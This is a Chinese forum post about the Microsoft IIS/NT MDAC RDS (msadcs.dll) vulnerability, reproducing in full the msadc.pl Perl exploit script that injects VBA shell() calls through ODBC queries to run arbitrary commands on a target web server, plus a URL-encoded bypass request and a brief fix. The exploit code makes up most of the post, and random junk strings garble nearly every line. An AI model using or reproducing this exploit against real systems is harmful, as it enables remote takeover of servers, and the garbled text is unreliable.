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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ^uC"dfH  
4Y`! bT`  
涉及程序: P\,F1N_?r  
Microsoft NT server v$[ @]`  
ooomi"u  
描述: |VTWw<{LX  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 V/`#B$6  
l{nB.m2  
详细: )\um "l*\c  
如果你没有时间读详细内容的话,就删除: =]!8:I?C<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ,D:iQDG^  
有关的安全问题就没有了。 $/NGNkl[  
C]yvK}  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 o~Bk0V=  
zA2UFax=  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 01&*`0?  
关于利用ODBC远程漏洞的描述,请参看: iSOD&J_  
UVc>i9,0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PZKbnu  
[Xs}FJ  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 WH{cJ7wCL  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp \#uqD\DE  
+F1]M2p]  
这里不再论述。 CbnR<W-j  
5JQd)[Im  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: `K$:r4/[  
)3k)2XF  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset FI3sLA  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ' %bj9{(0  
lf?Z{^  
{[l'S  
#将下面这段保存为txt文件,然后: "perl -x 文件名" F;cI0kP=>  
F(T=WR].o  
#!perl zd?bHcW/h  
# $~ pr+Ei  
# MSADC/RDS 'usage' (aka exploit) script `Mo~EHso.  
# r0~7v1rG  
# by rain.forest.puppy 2Som0T<2  
# B=Xnv*e  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me zi?qK?m  
# beta test and find errors! /IGrp.}  
A>qd2  
use Socket; use Getopt::Std; 1gF*Mf_7  
getopts("e:vd:h:XR", \%args); V_NjkyI  
3c1o,2  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ^JYF1   
{. s]\C  
if (!defined $args{h} && !defined $args{R}) { ,2=UuW"K  
print qq~ 2N6Pa(6  
Usage: msadc.pl -h <host> { -d <delay> -X -v } d/0/$Bz}P  
-h <host> = host you want to scan (ip or domain) 0!3!?E <  
-d <seconds> = delay between calls, default 1 second -=-x>(pRW7  
-X = dump Index Server path table, if available `77;MGg*  
-v = verbose 2jI4V;H8g  
-e = external dictionary file for step 5 27h/6i3  
;cS~d(%  
Or a -R will resume a command session Z&~k]R0y  
J,dG4.ht  
~; exit;} "2y7&#l   
|YG)NO  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; rXHHD#\oF  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X+(aQ >y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} S&4w`hdD>~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); GQYtH#  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} kw*Cr/'*  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } '^P*F9  
LM'*OtpDG  
if (!defined $args{R}){ $ret = &has_msadc; $5q{vy  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?X8K$g  
lB5[#z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" %xH>0  
. "cmd /c "; +1JZB* W  
$in=<STDIN>; chomp $in; =$:4v`W0(  
$command="cmd /c " . $in ; Y\\3g_YBF  
n:}MULy;  
if (defined $args{R}) {&load; exit;} \K4CbZ,.  
IkE'_F  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ve64-D  
&try_btcustmr; PuUon6bZ  
D7Rbho<  
print "\nStep 2: Trying to make our own DSN..."; a$ +e8>  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; a9mr-`<  
T }8r;<P6  
print "\nStep 3: Trying known DSNs..."; h0y\,iWXb  
&known_dsn; S`'uUvAA  
Ggxrj'r  
print "\nStep 4: Trying known .mdbs..."; %8z+R m,Ot  
&known_mdb; 37ri b  
KweHY,  
if (defined $args{e}){ ek+8hnkh  
print "\nStep 5: Trying dictionary of DSN names..."; ~' PS|  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } K>DnD0  
z=8_%r  
print "Sorry Charley...maybe next time?\n"; X*p:&=o  
exit; I?:+~q}lZr  
%(O^as  
############################################################################## K4VPmkG  
Is,*qrl :  
sub sendraw { # ripped and modded from whisker RY'\mt"W2  
sleep($delay); # it's a DoS on the server! At least on mine... <O`q3u'l  
my ($pstr)=@_; '%JMnU  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || RmCn&-i  
die("Socket problems\n"); 5.+$v4  
if(connect(S,pack "SnA4x8",2,80,$target)){ +Fkx")  
select(S); $|=1; OFPd6,(E  
print $pstr; my @in=<S>; x.yb4i=Jq  
select(STDOUT); close(S); `rOe5Zp$  
return @in; ;M(ehX  
} else { die("Can't connect...\n"); }} $F /p8AraK  
Y GcY2p<  
############################################################################## !513rNO  
tM?I()Y&P  
sub make_header { # make the HTTP request FdK R{dX}  
my $msadc=<<EOT :,J86#S)  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |L~gNC  
User-Agent: ACTIVEDATA e[py J.  
Host: $ip 5qODS_Eq  
Content-Length: $clen n(F<  
Connection: Keep-Alive |'l* $  
D?&w:C\&@z  
ADCClientVersion:01.06 :h](;W>H  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Tl0+Bq  
]cO$E=W  
--!ADM!ROX!YOUR!WORLD! -7A!2mRiz  
Content-Type: application/x-varg A`r$fCt1Vi  
Content-Length: $reqlen iM-hWhU  
[wpt[zG  
EOT , K"2tb  
; $msadc=~s/\n/\r\n/g; S)AE   
return $msadc;} eJwii  
^Qb!k/$3y  
############################################################################## *rMN,B@  
qz_TcU'  
sub make_req { # make the RDS request Y;F,GxR}  
my ($switch, $p1, $p2)=@_; _o=`-iy9  
my $req=""; my $t1, $t2, $query, $dsn; \2LA%ZU  
9#=IrlV4  
if ($switch==1){ # this is the btcustmr.mdb query   !AD,  
$query="Select * from Customers where City=" . make_shell(); x:D<Mu#  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . `&&6-/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ^ 8Nr %NJ  
k3htHCf*G$  
elsif ($switch==2){ # this is general make table query HpgN$$\@  
$query="create table AZZ (B int, C varchar(10))"; !C)>  
$dsn="$p1";} Yhv`IV-s  
!nD[hI8P  
elsif ($switch==3){ # this is general exploit table query Z#E#P<&d  
$query="select * from AZZ where C=" . make_shell(); TlZlE^EE<  
$dsn="$p1";} >!ZyykAs  
{10+(Vl  
elsif ($switch==4){ # attempt to hork file info from index server Y&!McM!Jw  
$query="select path from scope()"; P)o[p(  
$dsn="Provider=MSIDXS;";} ~TmHnAz  
W9V=hQ2  
elsif ($switch==5){ # bad query jzOMjz~:)  
$query="select"; *~aI>7H  
$dsn="$p1";} CI ]U)@\U  
AXv3jH,HF  
$t1= make_unicode($query); qcoZ2VJ hh  
$t2= make_unicode($dsn); oeqJ?1=!  
$req = "\x02\x00\x03\x00"; w})&[d  
$req.= "\x08\x00" . pack ("S1", length($t1)); W SeRV?+T  
$req.= "\x00\x00" . $t1 ; $F'~^2  
$req.= "\x08\x00" . pack ("S1", length($t2)); cH8H)55F  
$req.= "\x00\x00" . $t2 ; # JT%]!  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; UqQZ A0e  
return $req;} (h(ZL9!  
q|Tk+JH{5  
############################################################################## TbUkqABm  
S>zKD  
sub make_shell { # this makes the shell() statement OsuSx^}  
return "'|shell(\"$command\")|'";} B 0fo[Ev  
^ZZ@!Udy  
############################################################################## C3`.-/{D"  
 K`mxb}  
sub make_unicode { # quick little function to convert to unicode !"qEB2r  
my ($in)=@_; my $out; gM/_:+bT>P  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } BqJrL/(  
return $out;} 7JK 'vT  
!c;p4B)  
############################################################################## {>qrf:  
K^p"Z$$  
sub rdo_success { # checks for RDO return success (this is kludge) !ilDR<  
my (@in) = @_; my $base=content_start(@in); \$++.%0  
if($in[$base]=~/multipart\/mixed/){ sg~/RSJ3  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} :<|fZa4!"  
return 0;} Kof-;T  
cN(QTbyl6Q  
############################################################################## )9P  
91'^--N  
sub make_dsn { # this makes a DSN for us zCN;LpbEJY  
my @drives=("c","d","e","f"); !{- 3:N7  
print "\nMaking DSN: "; (#>5j7i8#  
foreach $drive (@drives) { .6]cu{K(  
print "$drive: "; R~ u7;Wv  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . :=KGQ3V~eK  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ry=[:\Z~  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); [+2^n7R  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ]5MR p7  
return 0 if $2 eq "404"; # not found/doesn't exist fN/KXdAy&  
if($2 eq "200") { O4+w2'.,  
foreach $line (@results) { R(#;yn  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |6G5  ?|  
} return 0;} 0R{R=r]  
2+rao2  
############################################################################## "alO"x8t  
VY26 Cf"  
sub verify_exists { #k]0[;1os  
my ($page)=@_; A.*nDl`H  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Hqy>!1 !  
return $results[0];} EG=>F1&M  
8TM=AV  
############################################################################## SVeU7Q6-  
^,r;/c9A8  
sub try_btcustmr { w4/)r-Z4I  
my @drives=("c","d","e","f"); R3 =E?us!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %Y[/Ucdm  
)bJ6{&  
foreach $dir (@dirs) { Fgq*3t  
print "$dir -> "; # fun status so you can see progress $e,!fB;B  
foreach $drive (@drives) { jWjK-q@Y  
print "$drive: "; # ditto }|,\ ?7,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; \YyU5f7';  
$reqlenlen=length( "$reqlen" ); %=>xzP(z  
$clen= 206 + $reqlenlen + $reqlen; U-:Z ^+Y  
]nGA1S{  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); @k;3$  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} DxG'/5jQ[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {:+^[rer j  
U/l ra&P  
############################################################################## Y'":OW#oN  
v2<gkCK^  
sub odbc_error { IWd*"\L  
my (@in)=@_; my $base; ^OsUWhkV  
my $base = content_start(@in); M0\[hps~X  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this BuO J0$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^@cX0_  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5q*~h4=r7  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N>iCb:_ T;  
return $in[$base+4].$in[$base+5].$in[$base+6];} |#,W3Ik(l  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )W#g@V)>  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . p 5w g+K  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Vi~+C@96  
D*b|(Oi  
############################################################################## Y& %0 eI!  
UYLI>XSd  
sub verbose { EnAw8Gm*  
my ($in)=@_; qWK7K%-$ E  
return if !$verbose; a];i4lt(c  
print STDOUT "\n$in\n";} ,RH986,6V  
O\{_)L  
############################################################################## zL}DLfy>R  
k!rz8S"  
sub save { "lAS <dq  
my ($p1, $p2, $p3, $p4)=@_; \Fjq|3`<l  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; NV~i4R*#  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; LLN^^>5|l  
close OUT;} msJn;(Pn  
N_}Im>;!  
############################################################################## !I$RE?7eY  
Sv",E@!f  
sub load { w N.Jyb  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Ee| y[y,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); $^GnY7$!>  
@p=<IN>; close(IN); 8`<GplO  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); :RG6gvz  
$target= inet_aton($ip) || die("inet_aton problems"); p8bTR!rvz  
print "Resuming to $ip ..."; TR7TF]itb  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; A>S2BL#=  
if($p[1]==1) { G9%4d;uFT  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; fQ) ;+  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; zh#uwT1u  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); )]Rr:i9n  
if (rdo_success(@results)){print "Success!\n";} I<f M8t.Y>  
else { print "failed\n"; verbose(odbc_error(@results));}} &Kwt vUN{  
elsif ($p[1]==3){ epe}^Pl  
if(run_query("$p[3]")){ Q4 S8NqE  
print "Success!\n";} else { print "failed\n"; }} JE!Xf}nEi  
elsif ($p[1]==4){ ~<-h# B  
if(run_query($drvst . "$p[3]")){ an@Ue7  
print "Success!\n"; } else { print "failed\n"; }} 4\iQ%fb  
exit;} \|s/_35(  
:a`m9s 4  
############################################################################## `UPmr50Wq  
; #  
sub create_table { eZo%q,L  
my ($in)=@_; ObnB6ShKi  
$reqlen=length( make_req(2,$in,"") ) - 28; )HcC\[  
$reqlenlen=length( "$reqlen" ); b9jm= U  
$clen= 206 + $reqlenlen + $reqlen; w?"l4.E%  
my @results=sendraw(make_header() . make_req(2,$in,"")); ->UrWW^  
return 1 if rdo_success(@results); &-tf/qJ  
my $temp= odbc_error(@results); verbose($temp); zc5_;!t  
return 1 if $temp=~/Table 'AZZ' already exists/; ^\;5O(9  
return 0;} UNHHzTsr?  
tcZ~T  
############################################################################## ggWfk  
NmXTk+,L#  
sub known_dsn { oyY,uB.|  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 3._fbAN%e  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 0SYkDI  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", C7:Ry)8'I  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); j/\XeG>  
=<icHt6s  
foreach $dSn (@dsns) { Mf"B!WU>]B  
print "."; stScz#!  
next if (!is_access("DSN=$dSn"));  (w fZ!  
if(create_table("DSN=$dSn")){ =XB)sC%  
print "$dSn successful\n"; ce\-oT  
if(run_query("DSN=$dSn")){ bv0 %{u&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { I Cs1=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} wXnt3)e  
^W*/!q7H  
############################################################################## J!>oC_0]8  
!h~\YE)  
sub is_access { VdgPb (  
my ($in)=@_; 7BnP,Nd"W  
$reqlen=length( make_req(5,$in,"") ) - 28; P^ VNB  
$reqlenlen=length( "$reqlen" ); u""= 9>0  
$clen= 206 + $reqlenlen + $reqlen; QO%K`}Q}  
my @results=sendraw(make_header() . make_req(5,$in,"")); Uw!v=n3#!  
my $temp= odbc_error(@results); WF7RMQ51j  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  8j k*N  
return 0;} J\BdC];  
|iI`p-L9  
############################################################################## _!ed.h.r:  
82<!b]^1  
sub run_query { pY@+.V`a  
my ($in)=@_; hb{(r@[WHv  
$reqlen=length( make_req(3,$in,"") ) - 28; bB["Qd}Q  
$reqlenlen=length( "$reqlen" ); @2<J_Ja  
$clen= 206 + $reqlenlen + $reqlen; "Y+`U  
my @results=sendraw(make_header() . make_req(3,$in,"")); YDwns  
return 1 if rdo_success(@results); +gkB  
my $temp= odbc_error(@results); verbose($temp); g`1i[Iu2  
return 0;} B(5g&+{Lq~  
h2nyP  
############################################################################## xN]bRr  
YH9BJ  
sub known_mdb { KK}&4^q  
my @drives=("c","d","e","f","g"); (46)v'?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bPEAG=l"-  
my $dir, $drive, $mdb; p#w,+)1!d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; C/JFg-r  
7pNh|#Uv'  
# this is sparse, because I don't know of many C*$/J\6xy  
my @sysmdbs=( "\\catroot\\icatalog.mdb", G[mYx[BTz  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 6=FuH@Q&  
"\\system32\\certmdb.mdb", G(- `FH  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% wFD .3!  
0;9 LIL5  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", sq%f%?(V  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 0IZV4{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", sgX~4W"J  
"\\cfusion\\cfapps\\security\\realm_.mdb", K(?7E6\vO  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 20q T1!j u  
"\\cfusion\\database\\cfexamples.mdb", PSE![whK  
"\\cfusion\\database\\cfsnippets.mdb", 7?4>'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", f"Z2&Y@  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", k`d  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Wd7*sa3T  
"\\cfusion\\database\\smpolicy.mdb", )-mB^7uXGv  
"\\cfusion\\database\cypress.mdb", 8dv1#F|  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 1/ a,7Hl  
"\\website\\cgi-win\\dbsample.mdb", mEGMe@37  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", .*Z]0~ &|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" .IqS}Rh  
); #these are just A 6d+RAx  
foreach $drive (@drives) { *\/UT  
foreach $dir (@dirs){ B?]^}r  
foreach $mdb (@sysmdbs) { `?)i/jko"  
print "."; 1DX=\BWp  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ TS;MGi0`}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; <MYD`,$yu  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ h(9K7  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ?^hC|IR$  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ;tHF$1!J  
tP\Utl-0  
foreach $drive (@drives) { 5o,82 Kti  
foreach $mdb (@mdbs) { r`=d4dK-  
print "."; mVxS[Gq  
if(create_table($drv . $drive . $dir . $mdb)){ )9*WmFc+#  
print "\n" . $drive . $dir . $mdb . " successful\n"; *]LM2J  
if(run_query($drv . $drive . $dir . $mdb)){ NH{0KZ R  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; uJ[dO}  
} else { print "Something's borked. Use verbose next time\n"; }}}} \Tc$P#  
} ?h {&  
;RR)C@n1  
############################################################################## 8WAg{lVs  
M*x_1h5n  
sub hork_idx { 'F@'4[uda  
print "\nAttempting to dump Index Server tables...\n"; Mqq7;w@(J  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; OlP#|x*  
$reqlen=length( make_req(4,"","") ) - 28; }} IvZG&  
$reqlenlen=length( "$reqlen" ); Nz m 7E]  
$clen= 206 + $reqlenlen + $reqlen; mGIS[_dcs  
my @results=sendraw2(make_header() . make_req(4,"","")); G  B15  
if (rdo_success(@results)){ j9Lc2'  
my $max=@results; my $c; my %d; `18G 5R  
for($c=19; $c<$max; $c++){ /h_BF\VBs  
$results[$c]=~s/\x00//g; n@*NQ`(_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; [P^ .=F  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; aJub("  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; xHf l>C'  
$d{"$1$2"}="";} noacnQ_I$  
foreach $c (keys %d){ print "$c\n"; } YcIk{_N3  
} else {print "Index server doesn't seem to be installed.\n"; }} /t816,i  
t ({:TQ  
############################################################################## nF)|oA   
v8LKv`I's  
sub dsn_dict { )0NA*<Q+.  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); us/x.qPy2  
while(<IN>){ n04Zji(F@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 7y:J@fh<  
next if (!is_access("DSN=$dSn")); 5[0n'uH  
if(create_table("DSN=$dSn")){ wL:3RZB  
print "$dSn successful\n"; 8^O|Aa$IF:  
if(run_query("DSN=$dSn")){ 4Y Kb~1qkk  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { YYhRdU/g  
print "Something's borked. Use verbose next time\n";}}} GSypdEBj+w  
print "\n"; close(IN);} $Q62 7  
[ z?<'Tj  
############################################################################## o0AREZ+I  
r t f}4.  
sub sendraw2 { # ripped and modded from whisker 291v R]  
sleep($delay); # it's a DoS on the server! At least on mine... <jxTI%'f59  
my ($pstr)=@_; Up8#Nz T  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || NKRNEq!  
die("Socket problems\n"); LdA&F& pI  
if(connect(S,pack "SnA4x8",2,80,$target)){ vrH/Z.WD  
print "Connected. Getting data"; :Vv=p*~  
open(OUT,">raw.out"); my @in; 7dAa~!/(  
select(S); $|=1; print $pstr; 4/$]wK`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 9=:!XkT.  
close(OUT); select(STDOUT); close(S); return @in; 5=l Ava#  
} else { die("Can't connect...\n"); }} oM J5;  
g,\<fY+ 4  
############################################################################## m,'u_yK  
Z x3m$.8  
sub content_start { # this will take in the server headers w!h!%r  
my (@in)=@_; my $c; [$B  
for ($c=1;$c<500;$c++) { SFTThM]8M1  
if($in[$c] =~/^\x0d\x0a/){ HuG|BjP  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } H$Q_K<V  
else { return $c+1; }}} !uHX2B+~  
return -1;} # it should never get here actually &Jq?tnNd  
oveW)~4  
############################################################################## 7GpSWM6  
8hdd1lVKO8  
sub funky { \T>f+0=4  
my (@in)=@_; my $error=odbc_error(@in); :h"Y>1P  
if($error=~/ADO could not find the specified provider/){ `*N2x\+X  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; lr=*Ty(V  
exit;} ZfS-W&6Z  
if($error=~/A Handler is required/){ zcDVvP  
print "\nServer has custom handler filters (they most likely are patched)\n"; _ u/N#*D  
exit;} !RAyUfS  
if($error=~/specified Handler has denied Access/){ O]`CSTv'_  
print "\nServer has custom handler filters (they most likely are patched)\n"; {l! [{  
exit;}} dnH?@ K  
H+t^eg88  
############################################################################## S&FMFXF@  
!'MZeiLP  
sub has_msadc { nx8 4l7<  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Za5*HCo  
my $base=content_start(@results); L=?Yc*vg  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); .(`#q@73  
return 0;} NJwcb=*  
[.;VCk)0x  
######################## [{L4~(uU8  
zN0^FXGD  
?tSFM:9PU  
解决方案: Sm{idky)[  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll fU8 &fo%ER  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 .i) H1sD  
bx#GOK-  
拿出来充数 哈哈
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